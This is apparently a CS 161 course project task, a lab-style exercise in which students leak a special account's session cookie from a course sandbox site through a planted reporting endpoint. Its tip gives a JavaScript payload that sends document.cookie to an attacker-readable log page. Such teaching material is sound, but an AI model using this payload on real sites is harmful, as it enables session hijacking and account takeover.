CS 161 Spring 2024

Project 3 / Flag 5: cs161

Leak cs161 's session cookie

Difficulty: Medium

Because it is a special-purpose account, you won't find cs161's session token in the database. However, cs161 still sends a session_token cookie to the server with every request, so you might be able to leak cs161's token using a different attack.

Your CS161 alumni ally has inserted some evil malware that lets you log arbitrary values to an internal dashboard. When you send a HTTP GET Request to the <code>/evil/report</code> endpoint and include a <code>message</code> parameter, the <code>message</code> is posted to the <code>/evil/logs</code> page. Try it by visiting the following URL in your browser!

https://box.cs161.org/evil/report?message=hello1234

Your task: Leak cs161's session cookie by pushing it onto the /evil/logs page.

Tip: You may want to try this attack on yourself before executing it on another user.

Tip: You may find this block of JavaScript code useful:

fetch('/evil/report?message='+document.cookie)

Tip: You may assume the cs161 user will be browsing the main pages of the site in the background (e.g. home, list, upload, etc.).